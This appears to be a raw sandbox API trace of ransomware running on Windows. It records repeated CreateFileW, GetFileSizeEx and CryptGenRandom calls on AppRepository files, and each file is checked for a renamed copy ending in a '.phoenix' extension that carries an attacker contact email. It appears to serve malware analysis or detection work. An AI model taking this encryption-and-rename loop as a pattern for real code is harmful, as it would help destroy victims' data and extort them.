	[0251.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.058] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.058] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=27290) returned 1
	[0251.058] CloseHandle (hObject=0x2d4) returned 1
	[0251.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.058] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_2019.6.13251.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.059] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.059] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=849) returned 1
	[0251.059] CloseHandle (hObject=0x2d4) returned 1
	[0251.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneMusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunemusic_3.6.13251.0_neutral_resources.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.059] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.059] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.059] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0251.059] CloseHandle (hObject=0x2d4) returned 1
	[0251.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.060] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.060] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0251.060] CloseHandle (hObject=0x2d4) returned 1
	[0251.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.060] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.061] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=851) returned 1
	[0251.061] CloseHandle (hObject=0x2d4) returned 1
	[0251.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.061] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_neutral_resources.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.061] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.218] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=14496) returned 1
	[0251.218] CloseHandle (hObject=0x2c4) returned 1
	[0251.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.zunevideo_10.16112.11601.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.218] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.218] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.219] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0251.219] CloseHandle (hObject=0x2c4) returned 1
	[0251.219] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.mspaint_1.1702.28017.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.220] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.221] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0251.221] CloseHandle (hObject=0x2c4) returned 1
	[0251.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.221] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.221] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.222] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=262144) returned 1
	[0251.222] CloseHandle (hObject=0x2c4) returned 1
	[0251.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.222] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.223] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0251.223] CloseHandle (hObject=0x2c4) returned 1
	[0251.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.224] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.224] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.225] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=65536) returned 1
	[0251.225] CloseHandle (hObject=0x2c4) returned 1
	[0251.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat")) returned 0x20
	[0251.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.225] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0251.227] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16384) returned 1
	[0251.227] CloseHandle (hObject=0x2c4) returned 1
	[0251.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat")) returned 0x20
	[0251.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.227] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0252.912] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0252.912] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
